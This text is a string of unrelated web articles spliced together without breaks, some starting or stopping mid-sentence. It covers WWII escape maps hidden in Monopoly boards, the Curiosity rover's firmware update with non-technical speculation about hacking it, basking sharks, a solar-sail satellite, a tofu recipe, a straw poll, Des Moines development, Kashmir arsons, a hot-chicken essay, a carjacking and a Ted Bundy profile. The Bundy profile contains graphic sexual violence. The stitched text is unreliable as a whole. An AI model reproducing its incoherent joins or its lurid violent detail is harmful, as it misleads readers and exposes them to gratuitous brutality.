Waddingtons already had the technology to print on cloth and made a variety of board games, packs of cards and the like that could be sent to the camps. They began by printing silk maps for supply to air crews, British and later American, and went on to conceal maps inside Monopoly boards, chess sets and packs of cards which could be sent into the prison camps.
Prisoners of war were allowed to receive parcels from their families and from relief organisations such as the Red Cross. The spooks did not want to compromise the latter and so set up a range of fictitious charitable organisations, often based at fake addresses or bombed buildings, to send games, warm clothing and other small comforts to the prisoners.
One of the major problems of captivity was boredom and games and entertainments were permitted as the guards recognised that if the prisoners were allowed some diversions they would be less troublesome. Once several Monopoly boards had got safely through, MI9 and Waddingtons developed a code to show which map was hidden in the set.
A special code was even used to indicate to the ministry which map was concealed inside a particular game so that it would be sent to a prisoner of war camp in the appropriate area. Hall says:
A full stop after Marylebone Station, for instance, meant Italy; a stop after Mayfair meant Norway, Sweden and Germany, and one after Free Parking meant Northern France, Germany and its frontiers. "Straight" boards were marked "Patent applied for" with a full stop.
Present day North Yorkshire county councillor John Watson, from Wetherby, whose father Norman Watson was instrumental in turning Waddingtons into a household name, says:
My father was fond of telling tales about Waddingtons part in the war effort. The silk maps were a major feature of such recollections. As I remember it, some of them were used as part of airmen's uniforms. I also know that the silk had to be specially treated so that it wouldn't distort through environmental pressures or through time. The Monopoly ones were laminated within the boards. He also said that several Monopoly sets were sent out containing tokens made of pure gold to be used by prisoners to pay for assistance with their escapes. One other tale was that, once it was discovered the German guards were not searching the Monopoly sets themselves, real German currency was included in some of the packs of Monopoly banknotes.
These things may just have been exaggerations on my father's part but I doubt it. He was genuinely proud of the company's role during the war and I don't think that he would have needed to embroider the truth.
Another researcher into the subject is Barbara Bond, a graduate of Leeds University and former civilian researcher at the Ministry of Defence who is now pro-chancellor of Plymouth University and past president of the British Cartographic Society. She says:
MI9's philosophy of "escape-mindedness" was instilled into the members of all three services and the practical application of that philosophy was seen in the production of escape kits and aids to escape such as maps. Initially the escape kits were in the form of small cigarette tins which contained concentrated food, tape, thread, tiny saws and compasses. The methods of getting the maps through to the prisoners of war were very ingenious. They were hidden in playing cards, pens, pencils, gramophone records, and game boards. It was a cardinal rule in MI9 that they never used Red Cross parcels. Instead they set up their own cover organisations such as the "Prisoners' Leisure Hours Fund" and the "Licensed Victuallers' Sports Association". These dispatched both ordinary parcels containing clothes and the special ones containing escape aids.
You can read more in the excellent The Waddingtons Story by Victor Watson, John Watson's brother and former head of the firm who famously saw off a predatory corporate raid by Robert Maxwell. It is published by Jeremy Mills Publishing.NASA’s Curiosity rover has now been on the surface of Mars for just over a week. It hasn’t moved an inch after landing, instead focusing on orienting itself (and NASA’s scientists) by taking instrument readings and snapping images of its surroundings. The first beautiful full-color images of Gale Crater are starting to trickle in, and NASA has already picked out some interesting rock formations that it will investigate further in the next few days (pictures below). Over the weekend and continuing throughout today, however, Curiosity is attempting something very risky indeed: A firmware upgrade.
As we covered last week, at the heart of Curiosity there is a computer that runs VxWorks — a popular embedded operating system that is installed in millions of devices around the world, including many spacecraft, aircraft, the Apple Airport Extreme, Drobo storage devices, and Honda’s ASIMO robot. The VxWorks firmware on any of these systems, including Curiosity, can be updated at any time by uploading a new image and executing a few commands.
In the case of Curiosity, the new firmware was actually transmitted to the rover while it hurtled through space on its 8-month journey to Mars. On Saturday, Sol 5, NASA mission control transmitted the command that begun the update process. “We’ll tell it to activate a sequence to start the load, then we go out of contact [with the rover] and it’s gone for about eight hours,” says Steve Scandore, a senior flight software engineer at NASA’s Jet Propulsion Laboratory, to Computerworld. “We start the upgrade. It will perform a series of steps and then it will turn itself off. It will wake itself up the next day and there’s a down link to see what was done the day before.” We should know later today if the upgrade process has been successful. Similar firmware upgrades have been performed before: Both the Spirit and Opportunity Mars rovers had their software updated in 2007 (both were powered by VxWorks), and Voyager 2, which is currently 9 billion miles from Earth, had its firmware fixed in 2010.
As for why NASA is executing the world’s most risky firmware update on a computer that’s 250 million miles away from Earth, get this: They’re replacing Curiosity’s operating system with a version that’s more optimized for exploring the surface of Mars. At launch, Curiosity was loaded up with software that specialized in guiding the spacecraft to Mars and performing the complex EDL (entry, descent, landing) procedure. Now that Curiosity has landed, the guidance computer is no longer required — and so it’s being replaced with software that improves autonomy; more powerful computer vision, pathfinding, instrument analysis, and so on.
Hacking Curiosity
All of this led me to an interesting thought: What’s to stop other people from sending firmware updates to Curiosity? There have been many examples of amateur (and possibly state) actors misusing orbiting satellites — so why should Curiosity be any different? The short answer is, it isn’t.
In theory, Curiosity is hackable — and it wouldn’t even be all that hard.
The first approach would involve the would-be hacker building the equivalent of NASA’s Deep Space Network (DSN), a worldwide network of big-dish antenna that send and receive spacecraft signals, and perform radio astronomy. To perform uplink communications (to the rover), the DSN’s biggest antennae — 230-feet (70-meter) dishes — are outfitted with transmitters that deliver up to 400 kilowatts of output power. The hacker would also have to replicate the exact same encoding scheme (probably QPSK, the same as satellite TV) and use the same frequency (X band, around 8GHz).
With enough careful observation of NASA’s own transmissions, and full reverse engineering of the communication protocol and the rover’s command format, a hacker could gain access to Curiosity with his own antenna. Realistically, though, this approach could only be pulled off by a well-funded terrorist group or state-funded agency.
A much easier approach would be to hack into NASA and use its infrastructure to take over Curiosity. In theory, you could break into mission control at NASA’s Jet Propulsion Lab and issue your own commands via the DSN antennae. Likewise, you could physically break into mission control and upload some new firmware (which, of course, like a generic action movie, you’re carrying on a seemingly innocuous USB stick).
Back in March, NASA announced that it was the victim of 47 advanced persistent threat (APT) attacks, 13 of which gave Chinese hackers access to NASA’s internal network [PDF]. In one case, the login credentials of 150 NASA employees were stolen, which could later be used to access other secure systems. In another attack, the hackers gained complete control of a NASA system, allowing them to delete or modify files, upload hacking tools, and modify system logs to conceal their actions.
In a separate incident, NASA had 48 “mobile computing devices” stolen between 2009 and 2011 — one of which contained International Space Station control codes. It isn’t hard to see how these attack vectors could be combined to brick Curiosity, or block NASA’s access.
The saving grace, I suppose, is that it isn’t really in anyone’s interest to interfere with Curiosity. The scientific data being gathered by Curiosity will benefit everyone — and indeed, the rover itself isn’t 100% American, anyway: There are instruments on board that have been provided by other countries, such as Russia, Canada, and Spain. In all likelihood, the only real risk stems from China — but again, China is just as interested in Curiosity’s findings as the rest of us.
In short, then, it’s possible to hack Curiosity — but it would take more effort than it’s worth. Once we actually get around to colonizing other planets, though — the great Imperial Space Race of the 31st century, or what have you — then I suspect sabotage will be much more likely. By then, I hope NASA will have stringent security measures in place, as I really don’t want to end up drifting through space aboard a bricked spacecraft.The Discovery Channel Canada has confirmed they are coming to Malin Head to film a program on Basking Sharks for their famous Shark Week.
The Irish Basking Shark Study Group, which was only started in 2009, say this is a major publicity coup for them.
Coordinator Emmett Johnston said “To get one of the big media channels of the world to come to Ireland and in particular feature basking sharks is very powerful opportunity for us to promote our message, especially when one considers that the basking shark is still unprotected in Irish waters”.
More than 29 million viewers worldwide watched the Discovery Channel Shark Week in 2013 making it one of the biggest TV events in the channels history.
It was also one of most tweeted events in 2013 giving it a very high profile on the world media calendar.
The group has been undertaking research around the Irish coast in collaboration with Queens University Belfast and Galway, Mayo Institute of Technology.
This program of research and study has enabled them to undertake pioneering research in Irish coastal waters which is now being noticed worldwide.
The decision for the Discovery Channel to come to Malin head is no accident, the group have built up a considerable amount of experience and an enviable reputation in the natural media scene.
Previous successful productions such as Wild Journey’s for RTE and Monty Halls Great Escape for BBC have showcased what the team do and the spectacular scenery off Malin head and the Blasket islands in which they operate.
Filming will most likely be in July, when basking sharks are at their biggest numbers off the north coast
THE DISCOVERY CHANNEL COMING TO DONEGAL TO FILM BASKING SHARKS was last modified: by
Tags:In the wee hours of the morning today something very small did something very big very high above the Earth. NanoSail-D, a demonstration nanosatellite launched aboard the Fast, Affordable, Science and Technology Satellite (FASTSAT) last month, ejected from the mothership, marking the first time a small cubesat has been deployed from a larger autonomous microsatellite in space.
All of those qualifying nano- and micro- descriptors may obscure the real achievement here, so let's look at it another way: NASA launched an autonomous satellite, and that satellite has successfully deployed a second, smaller satellite. That's big news for FASTSAT, which was designed to be a small, cost-effective, and independent means to launch small commercial and scientific satellites without having to piggyback on larger, expensive NASA missions.
Of course, the technology proving doesn't stop with NanoSail-D's launch into orbit. A three-day timer is now ticking down within the nanosatellite; when it reaches zero, Nanosail-D will unfurl a solar sail boom that should deploy an entire 100-square-foot thin polymer solar sail in just five seconds. If that goes well, NanoSail-D will stay in low-Earth orbit for another 70 to 120 days, cruising on sunshine.
Compact solar sails could be used to degrade satellites orbits at the ends of their lives, thus extending the length of their service by not requiring them to use the last of their propellants to de-orbit. NanoSail-D also aims to prove one other key capability: to eject from FASTSAT successfully without coming back into contact with it sometime later. We should know fairly soon if that part of the mission is also successful. If so, NASA will have demonstrated its first nanosatellite-launching microsatellite, which could change the way institutions and businesses get small payloads into space.
NASAGluten-Free & Vegan Mouth Watering Tangy Tofu Salad
This recipe is a little twist on tofu. It packs lots of flavour and is 100% vegan. Tofu is a great low fat food that provides good protein and is really versatile. The vinegars and oils in the salad also serve their purposes in providing fatty acids and help keep blood sugar low. This is also the perfect tofu salad for a snack or to easily carry with you as part of your lunch.
(Serves 2-4)
Ingredients:
½ package firm tofu (stir-fried in coconut oil and spices of your choice). Recommended product: Mori-Nu Organic Silken Tofu, Firm
2 teaspoons lemon juice
1/3 cup onions, sliced
2 teaspoons garlic salt
1 tablespoon gluten free French’s spicy brown mustard. Recommended product: French’s Spicy Brown Mustard
1/3 cup of black olives
3 tablespoons apple cider vinegar
1 tablespoon vegan gluten-free mayonnaise
1/3 cup yellow pepper
1 tablespoon of sesame oil. Recommended product: Spectrum Naturals Organic Unrefined Sesame Oil
1 tablespoon of dill
Instructions:
Cut the firm tofu into small bitable chunks and place them in a medium size bowl. Add all the ingredients one at a time slowly and mix together gently. You can enjoy the salad fresh served on a bed of lettuce or you can put the salad in the fridge overnight and let the flavors melt together, or both. Enjoy your awesome tofu salad!
SOME OF THE INGREDIENTS NEEDED TO PREPARE THIS RECIPE ARE AVAILABLE AT AMAZON.COM:
End of the recipe. Enjoy your meal!
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(CNN) - The president of the Family Research Council characterized Rep. Ron Paul's weekend win in the Values Voter Summit straw poll as "an outlier."
Tony Perkins, who heads the social conservative group, said the Republican presidential candidate influenced the results by busing supporters to the event, proving his 37% support is not reflective of social conservative backing nationally.
"I think Ron Paul, when you look at everything is an outlier in this poll," Perkins said Monday on CNN's "American Morning." "You see Herman Cain finishing a strong second, followed by Rick Santorum, Michele Bachmann and Rick Perry. Those are more reflective I think of actually the other polls and what's happening in the social conservative community."
Paul, the longtime Texas congressman who is making his third bid for the White House, led the field of GOP candidates including former Godfather's Pizza CEO Herman Cain with 23%, former Sen. Rick Santorum of Pennsylvania with 16%, Texas Gov. Rick Perry with 8%, Rep. Michele Bachmann of Minnesota with 8%, former Massachusetts Gov. Mitt Romney with 4% and former House Speaker Newt Gingrich with 3%.
Thanks to strong support from his followers, Paul has come out on top in many of the most prominent GOP presidential nomination straw polls over the past two years. He won the Conservative Political Action Conference contest in 2010 and 2011 and the straw poll at the Southern Republican Leadership Conference earlier this year.
Perkins also connected the sentiments of the Occupy Wall Street movement with those of Paul supporters, over 700 of whom voted in Saturday's survey.
"We should not discount there's a lot of discontent with big ineffective government that's taking place in this country, and I think the Ron Paul campaign reflects that," Perkins said. "The message of his campaign is sending is something other campaigns have to listen to as well."
Romney won the straw poll during his last bid for the White House in 2008 and Perkins attributed his drop to decreased attention over values issues, despite articulating "those values this year" during his speech.
Also see:
Voters bid on the ties off candidates' necks
New website, old attacks on Romney
Jeffress: I’m not ‘Rick Perry’s Jeremiah Wright’This year, with the completion of the Wellmark headquarters and several other projects, Des Moines will add almost 700,000 square feet of downtown office space. Developers are expected to complete 175 housing units.
Des Moines added 3.8 million square feet of downtown office space in the last decade, city officials said, a 45 percent increase that brought the downtown total to 12.3 million square feet. The Class A vacancy rate last year was 4.5 percent. The city has 4,900 housing units downtown, 1,900 more than in 2000, and a 64 percent increase.
The formula for Des Moines’s economic strength in the face of the recession is multifaceted, business and elected leaders said. The city is Iowa’s capital and home to roughly 200,000 people, many of whom work for large and stable employers like Drake University, Nationwide Mutual Insurance, Wells Fargo and several agriculture companies, among them Pioneer Hi-Bred International a unit of DuPont that has 6,000 workers in the Des Moines region.
Farmers are doing well, and a state decision in the 1980s to turn Iowa into a clean energy production center has made it the nation’s largest producer of biofuels, according to the Department of Energy, and the second-largest generator of electricity from wind power, according to the American Wind Energy Association.
One more factor, urban specialists said, is the collaboration Des Moines has built into its governing practices to avoid civic wars that can delay projects. Moreover, virtually all of the city’s new private projects, including the Wellmark building, were assisted by city tax funds. Richard A. Clark, the city manager, said Des Moines had invested an average of nearly $2 million annually in public dollars over the last several decades to help businesses assemble parcels of land, improve streets, build parking structures and other infrastructure. The public money has leveraged over $2 billion in private investment downtown since the 1990s, he said.
Photo
Des Moines even spends $250,000 in tax revenue annually to support public art. Its hotel-motel tax contributes $740,000 annually to a $2.45 million regional account that the city shares with seven suburbs to support the zoo, a civic center, a botanical garden, a symphony and other cultural institutions.
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Christopher B. Leinberger, a professor of real estate at the University of Michigan, said Des Moines was one of a growing number of cities that recognize the potential of downtown development, as well as the urgency of changing economic and political strategies to encourage it. Mr. Leinberger said that Des Moines, like Salt Lake City, Denver, Dallas, Seattle and Chicago, was adopting development plans based on persuading residents and employers to cluster homes, jobs, schools and stores rather than spreading them out.
Mr. Leinberger also said that Des Moines was able to find a nonpartisan formula for making decisions on taxes, infrastructure, parks and housing that support downtown construction. “Des Moines is one of those places that recognized that to pull off being a special place they can be proud of, people have to work together,” Mr. Leinberger said.
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The results are especially evident along the broad boulevards and narrower streets that make up the Western Gateway and its adjacent neighborhoods. Two years ago, Nationwide completed a $279 million, 1.2 million-square-foot campus on Locust Street where 4,000 people work. A block away is the 34,000-square-foot, $11.4 million Pappajohn Education Center, a branch of the University of Iowa that was completed in 2006. The Des Moines Public Library on Grand Avenue, designed by the British architect David Chipperfield, spans 110,000 square feet and cost $32.3 million.
At the center of the Western Gateway is a 4.4-acre public park and sculpture garden, with 24 works by Ugo Rondinone, Louise Bourgeois and Deborah Butterfield, among others. The sculptures, valued at some $40 million, were a gift from John and Mary Pappajohn, two local art collectors and benefactors. Jeff Fleming, the director of the Des Moines Art Center, played a central role in grouping the sculptures into “rooms” flanked by an undulating landscape of berms, trees, walkways and grass that was paid for by the city and private donors.
Among the businesses that have settled near the sculpture park is the Des Moines Social Club, a combination art gallery, theater, bar and education center that has enlivened the city’s night life. It is run by Zachary Mannheimer, a theater producer and director from New York who moved to Des Moines after visiting some 20 cities to find a building suitable for his multifaceted entertainment concept. Mr. Mannheimer leases a 30,000-square-foot building on Locust Street that was built in 1919 and operated as a Cadillac dealership. He is trying to raise $4 million to buy and renovate the structure. “We serve as a public house for those who have explored the park and then wish to discuss the work,” Mr. Mannheimer said.
Like almost everything else connected to downtown construction, the park displaying the Pappajohns’ donation was built with unusual speed, about two and a half years from conception to completion. “It’s a wonderful example of what this city can do,” said Mr. Southwell, the Wellmark executive. “The park has been a real magnet. It’s much more popular than what people originally thought it might be.”Over 20 schools have been burnt in Kashmir in the last 2 months.
A government school was set on fire today by unidentified people in Jammu and Kashmir's Anantnag. This is the third school to be burnt in the state since yesterday, and among the over 20 where arson has been reported in the last two months.Fire at the higher senior secondary school broke out in the afternoon. It was doused by fire engines along with the help of locals, an official said.A Jawahar Navodya Vidyalaya school in Aishmuqam was also |
a trigger warning for the pain you’re about to experience. That bracing sensation — not pain, but the liminal back and forth between the brain and the palate signaling that you’re in for trouble — is, to me, one of the best feelings in the world. I ate on the back patio, overlooking the line to get through the door. Unlike the intimate scenes at Prince’s and Bolton’s, the Hattie B’s experience is broadcast. I invited people to watch me and my trembling fingers, completely fine with the idea of people noticing my trembling fingers and heavy breathing. I asked strangers to take pictures of my busted face; my experience became theirs.
There have been fascinating studies in recent years linking body temperature and mood. While he was at the University of Arizona, Dr. Charles Raison began experimenting with whole-body hyperthermia (essentially toasting people from the neck down at high temperatures). Raison’s study was inspired by Tibetan monks up in the Himalayan mountains who used special breathing techniques in their meditation, which studies have shown were able to increase the temperature of their extremities by 15 degrees Fahrenheit. Coincidentally, the capsaicin that binds itself to receptors on the tongue and other parts of the mouth can trick the mind into thinking that something is 15 degrees hotter than it is.
"Capsaicin-containing foods have the potential, like heat, to activate sensory fibers and function of brain areas involved in affect and cognition," said Christopher A. Lowry, an associate professor of integrative physiology at the University of Colorado Boulder, who worked alongside Raison in the heat studies. "So, the infrastructure is there for hot chicken to affect mood and higher order brain function."
The hot chicken shack, then, becomes more than just a restaurant. It is a sweat lodge, a hot yoga studio, a sauna; it is a safe space to cry among strangers. There is no pretense; we all know the forces at work, beckoning those tears and beads of sweat. I once saw an old Chinese man at Chengdu Taste, my favorite Sichuan restaurant in Los Angeles, crying into his bowl of rice. I caught myself staring, and so did he. The man let out a nervous smile, and shrugged. My three days in Nashville were full of those moments. It struck me how the hot chicken trend has mirrored a recent boom in Sichuan restaurants in L.A.’s eastern suburbs over the last three years. The hot chicken shack in Nashville, not unlike the restaurants I frequent in the strange Asian bubble of the San Gabriel Valley, gathers a community, and, gimmick or not, everyone is there for the same reason: to feel the great relief of succumbing.
Last month, Jack White and his Nashville-based Third Man Records successfully launched the Icarus Craft, a space-proof vessel housing a turntable attached to a high-altitude balloon that floated out into the void. Sound, as perceived by humans, cannot be carried in the vast emptiness of deep space. Walking out of Hattie B’s, my face and arms went numb, tingling as I glided in the cool, post-drizzle breeze. I stumbled down the road, hearing only the faint ringing of my own body fighting an imaginary fire as I floated along the sidewalk and into what might’ve been oncoming traffic. Hours later, encased in a high-altitude vessel myself, 25,000 feet in the air and climbing, the hammers began to descend. I was Icarus.- Police arrested a suspected carjacker in Albuquerque who got a bloody beatdown during an apparent attempt to rob three football players fresh from practice.
Angelo Drew Martinez, 20, asked for a ride from the players around the Loma Linda Community Center football field the night of August 11, then pulled a gun on them and tried to carjack them, police said.
At the field, Martinez was “acting sketchy as if he was trying to get in,” said one of the players.
They agreed to give him a ride but said Martinez kept changing his mind about his destination.
At a stop in front of a house in Albuquerque, Martinez allegedly pulled out a gun and ordered them out of the car.
The players complied, but when they reportedly saw Martinez fumble with the gun, one of the players got back in the car and punched him in the face.
The rest of the players joined in the brawl, restraining Martinez until police arrived at the scene.
Authorities said the gun wasn’t real, but Martinez also was carrying a knife and a note reading: “Give me the keys to your wip (car) and a nobody get heart. I know where you live so don’t make me kill.”
Full story at FOXNews.com"I walked forty-seven miles of barbed wire,
I got a cobra snake for a necktie
A brand new house on the roadside,
and it's made out of rattlesnake hide
Got a brand new chimney put on top, and it's made out of human skulls
Come on take a little walk with me baby,
and tell me who do you love?" - Bo Diddley/'Who Do You Love'
What we do know is that Bundy is one of America's most famous criminals, and the fascination surrounding him has lasted far beyond his death. He may very well be one of the nation's - if not the world's - worst serial killers.
Born illegitimately in 1946, Ted was raised to believe that his mother, Louise, was his sister, and that his grandparents his mother and father. His mother even went so far as to change she and Ted's last name to Nelson, hoping to pass as either a young divorcee or a widow. His grandfather was a tyrannical, abusive person, and ruled the family with an iron hand. He constantly berated his wife and children, and was said to have also beat his wife. Ted learned early on that power, complete and total power, was the easiest way to get what you wanted. In the critical developmental years, Ted learned that domination and fear were essential to survival. Instead of becoming submissive and meek like his grandmother and other female relatives, he instead began harboring the same attitudes and beliefs his grandfather held-that women were basically nothing. Little boys invariably look up to their fathers, (or father figures,) and Ted soaked up his grandfather's venom like a sponge. Late one night, while he and his mother were still living with his maternal grandparents, his fifteen year old aunt awoke with a start. Standing next to her bed was Ted, then only three, grinning widely in the dark. Her body was surrounded by knives, arranged around the contours of her sleeping body. It was not an uncommon occurence.
Washington
In 1950, Louise took her young son and moved to Tacoma, Washington. At church she met a man named John Culpepper Bundy, and in May of 1951 they were married, and soon Ted was surrounded by siblings. As a child he was active in church and the Boy Scouts, and did well in school. He stepfather attempted to include the boy in father-son outings such as camping, but Ted pushed the man away, seeming to prefer isolation from others. In an interview shortly before his execution, Bundy said, "I didn't know what made people want to be friends. I didn't know what made people attractive to one another. I didn't know what underlay social interactions."
By his teens, Ted was committing acts of petty thievery and shoplifting, a pastime that would remain with him his entire life, as well as peeping into windows to watch women. Ted may also have began killing in his teens: a twelve year old girl mysteriously disappeared from her home not far from where the then-fifteen year old Bundy lived. Despite his nocturnal activities, Bundy graduated high school in 1965 with a scholarship to the University of Puget Sound in Tacoma.
While enrolled in college Bundy worked for the local chapter of the Republican party, displaying a natural affinity for politics. He also performed charity work, and was awarded a write-ups in a local newspaper for running down a purse snatcher and saving a child from drowning. Bundy also worked at a crisis hotline, handling calls from distraught, often terrorized people. The woman at the telephone next to his was former police officer and budding crime writer Ann Rule. The two befriended one another, meeting for casual lunches and dinners, with Bundy insisting on walking Rule to her car afterward. While working alongside Ted at the crisis center, Rule was commissioned to write several articles, and later a book, about the ongoing disappearances and murders of young college co-eds. Years would pass before Rule would discover she had been writing about her close friend Ted Bundy all along.
It was in college that Bundy met the woman who would become his first serious girlfriend, Stephanie Brooks. The two dated seriously until Stephanie graduated and left Ted bereft, blaming his lack of ambition for the break up. It was not long afterward that Ted learned of his true parentage, and the spark was set for the horrors to come. Shattered by the knowledge of his illegitimacy and the loss of his girlfriend, Ted threw himself into activities with the Republican party, kick-started his performance in school by delving into psychology, and went through what appeared to be a total personality and lifestyle overhaul. During this time he met Elizabeth (not her real name,) who was swept off her feet by the handsome, vivacious young upstart. The two shared a passion for skiing and Ted seemed to dote on Elizabeth's young daughter. However, Bundy was secretly seeing Stephanie at the same time and eventually won her over. The two even went so far as to plan marriage. Ted grew distant, and in February of 1974, they broke up for the last time. Later, Stephanie would say, "I escaped by the skin of my teeth. When I think of his cold and calculating manner, I shudder."
Neither Stephanie Brooks nor Elizabeth knew that on January fourth, Ted had sneaked into the bedroom of eighteen year old Joni Lenz, a University of Washington student, and bludgeoned her with a crowbar. He then tore an iron bedpost from the girl's bed and used it to sexually assault her. Lenz was found comatose the next morning, the bedpost still inserted in her vagina. She sustained permanent brain damage from the attack.
Barely three weeks later, Bundy broke into the bedroom of Lynda Ann Healy, also a University of Washington student. Her empty bed was found the next morning, with the covers pulled up neatly, hiding a large pool of blood that had soaked into the mattress. Healy's decapitated, dismembered body was found a year later.
Bundy killed in earnest over the next year, often using the ruse of wearing a cast or a sling on his arm, or appearing to struggle with an armload of books while using crutches. He even snatched two women in one day from Lake Sammamish state park in Washington. Both Janice Ott and Denis Naslund were taken by a man asking for help moving his sailboat, a move that was incredibly bold considering that it was a crowded summer day at the lake. It is not know if Ott, who was taken first, was alive when Bundy kidnapped Naslund, although in Ted Bundy: Conversations with a Killer, Bundy surmised to author Stephen Michaud about the nature of the girls' killer, "...Had he been cautious, he would've probably killed the first individual before leaving to get the second girl, but in this instance since we've agreed he wasn't acting cautiously, he hadn't killed the first girl when he abducted the second." Michaud walked Bundy through a third-person account of the kidnapping, asking Bundy (who never confessed to Ott and Naslund's murders,) thought the killer might do. Following a sexual assault on the two bound women, Bundy said, "Well, by this time, his frenzied compulsive activity of that day has run its course. Then he realized the jeopardy he was in. Then the normal self would begin to reemerge and, realizing the greater danger involved, would suffer panic and begin to think of ways to conceal the acts - or at least his part of them. So he'd kill the two girls, place them in the car, and take them to a secluded area and leave them."
Both Naslund and Ott were belived to have been decapitated. Naslund's remains were found in a wooded area, along with other women Bundy had murdered. Janice Ott's lower jawbone was found nearby. The rest of her body has yet to be discovered.
Along with Healy, Ott and Naslund, Carol Valenzuela, Donna Manson, Susan Rancourt, Brenda Baker, Brenda Ball, and Georgann Hawkins, along with Kathy Parks in Oregon, were killed before Ted decided to head for Utah.
Utah
The time span between murders shortened when Bundy travelled to Utah in October of 1974. Bundy had travelled to Utah before, (and had killed there, it was later discovered,) while there in 1974 he would murder Nancy Wilcox, Melissa Smith, Laura Aime, Debbie Kent, Susan Curtis, Nancy Baird, and, in a return trip in 1976, Debbie Smith. Curtis was a fifteen year old who was visiting the Brigham Young University for a youth conference. She left her friends to walk back to a dorm room and vanished into thin air. Aime was last seen on Halloween in Lehi, UT. Her nude, raped, and sodomized body was found on Thanksgiving Day by a hiker in American Folk Canyon, strangled and beaten beyond recognition. It also appeared as if her killer had washed her hair before disposing of her body. Melissa Smith, the daughter of the Midvale, UT police chief, was last seen hitchhiking. Her nude body, like the others, had been beaten, raped, and sodomized. Her own stockings were tied around her neck, and dirt and sticks had been pushed into her vagina. Someone had touched up her make up before leaving her body on a golf course in Summit Park, UT.
Bundy would also kidnap and attempt to murder another Utah woman - a failed killing that would provide police with one of their first big breaks in the case.
On November eighth Bundy kidnapped eighteen year old Carol DaRonch. Posing as an 'Officer Roseland' Bundy lured her to the parking lot of a shopping mall, saying that her car had been broken into, and he wanted the young woman to see if anything had been stolen. Once alone in the deserted lot, Bundy used the ruse of taking DaRonch to the police station to get her into his Volkswagen, even flashing a gold police-style badge when she asked for identification. With DaRonch was in the car, Bundy pulled out of the parking lot and headed down the road - driving away from where DaRonch knew the police station was at. After some distance, Bundy stopped the car and managed to clamp handcuffs on one of DaRonch's wrists. The girl began screaming, struggling to free herself, when Bundy pulled out a gun and threatened to kill her if she did not stop. She managed to break free and open the door, but Bundy followed and pinned her against the side of the vehicle, this time with a crowbar - his weapon of choice - in his hands. Knowing that it was either fight or be killed, DaRonch kicked Bundy in the testicles and escaped, flagging down a passing car. The couple driving took her to the police station, where she gave officers a description of the man and his car. Police also took samples of the blood on DaRonch's coat. It was type O positive, Ted Bundy's blood type.
Later that evening, Bundy approached a woman in the parking lot of Viewmont High School, asking her to help identify a car in the lot. The woman turned the man down, although he accosted her again later. The woman ignored him and went back inside the auditorium, where she was directing a school play. Later, she would see the man standing in the back of the auditorium, watching.
Debby Kent, who was watching the play that night, left early on an errand, promising to pick up her parents at the school after she retrieved her brother from a nearby bowling alley. Kent never made it to her car - it was found empty, still parked in its space. Police searched the area and although they did not find Kent, they did find a tiny handcuff key. After Bundy's arrest, the key would prove to be an exact match for the handcuffs Bundy had used to restrain Carol DaRonch.
Kent's body was never found.
Meanwhile, in Washington, similarities in the crimes had been coming into focus. There were witnesses who reported seeing a man with a cast or crutches near the abduction sites of many of the women, as well at a tan Volkswagen Beetle. With the witnesses' help a composite sketch was created and circulated to the media, along with a description of the VW. It was seen by a close friend of Bundy's ex-girlfriend Elizabeth. The friend noticed the resemblance between Elizabeth's former lover and the drawing, and reported her suspicions to the authorities. Bundy's name was put on a growing list of suspects. After seeing the police sketch and reading the description of the car, Elizabeth herself turned Bundy's name in to police, telling them about his odd sleeping habits, his penchant for violent sex, and that she had seen crutches and items to make casts in his bedroom even when he was uninjured. The pieces were starting to fall into place.
Colorado and Idaho
It seemed as if Bundy came like a ghost in the night to snatch his victims. He often left no trace of either himself or the women he spirited away - although the few times he did slip up would prove important later.
In mid-January of 1975, Bundy was in Colorado. His first victim there, Caryn Campbell, was taken from the hotel where she was staying with her fiance and his two children. The four of them had been in the hotel lounge when Campbell decided to go back to their room. (There are conflicting reports as to why she left, with some sources claiming that Campbell and her fiance were arguing, and other saying that she had forgotten an item in their room and had returned to retrieve it.) When Campbell did not rejoin her fiance in the lounge, he set off to find her.
She had never even made it back to their room.
Caryn Campbell's body was found a month later, only a few miles from the hotel. Scavenging animals and decomposition had done their work on her nude remains, making an exact cause of death impossible to determine, although there was evidence of rape. Her skull had obviously borne the brunt of several blows from a heavy, sharp instrument, the resulting skull fractures may very well have been what brought about her death. There was no trace of her killer at the scene.
Over the next six months, Bundy would kill five more women in Colorado. Julie Cunningham disappeared from Vail, CO while walking to a bar. Denise Oliverson, Grand Junction, vanished after leaving her parents' home. Melanie Cooley was found twenty miles away from her hometown of Nederland, her hands tied, a pillowcase around her neck. Nancy Baird and Shelley Robertson were taken from the gas stations where they worked. The bodies of Cunningham and Oliverson were never found.
Inbetween the Colorado murders, Bundy travelled to Idaho at least once, where he snatched thirteen year old Lynette Culver from a school playground in Pocatello. Her body would never be discovered. While there he also murdered an unknown victim, whose identity is still listed as simply Jane Doe.
As he acted out his fantasies with these latest victims, police in Washington had discovered what Bundy had left behind in the Taylor Mountains.
The Taylor Mountains & the Break
Bundy, it seemed, had a favorite place to dispose of his Washington victims. The Taylor Mountains were a densely forested area, so dense that it would have difficult to carry a body into the trees to dispose of it. Perhaps this is why only skulls, lower jaws, teeth, and one clump of hair were ever found their. Ted Bundy, it was apparent, was not only raping, beating, and strangling - he was also taking heads.
In all, the skulls or parts of the skulls of Lynda Ann Healy, Kathy Parks, Brenda Ball, Denise Naslund, Janice Ott, and Susan Rancourt were found there. Bundy had driven more than two hundred and fifty miles, all the way from Oregon, to dispose of Rancourt's remains.
While Bundy was busy murdering his way across the western half of the country, police in Washington had created a computer program that would prioritize suspects based on information from tips and an exhaustive investigation. Though the program was primitive by today's standards, it eventually reduced the list of suspects to just twenty-five. Ted Bundy's name was second on the list to be investigated when Utah police cornered him at last.
Bob Haywood of the Utah Highway Patrol was driving through his neighborhood in Granger when he noticed a tan Volkswagen speed by. Haywood hit his lights, but the car kept going, running two stop signs before coming to a halt on the side of the road. The driver handed over his license and registration, all in the name of one Theodore Robert Bundy.
Inside the car, Haywood discovered a mask made of nylon pantyhose, an icepick, a crowbar, and handcuffs. Bundy was arrested for evading an officer and for possession of burglary tools. He was released and put under surveillance after the teacher he'd approached at Viewmont High School positively identifed him, and was soon rearrested after police conclusively linked him to the kidnapping of Carol DaRonch. In a brief trial, he was convicted of aggravated kidnapping and sentenced to one to fifteen years in prison. In essence, the Utah conviction was a way for authorities to keep Bundy in one place while police in Washington, Colorado, and Utah built murder cases against him.
Bundy, however, wasn't going to wait around long.
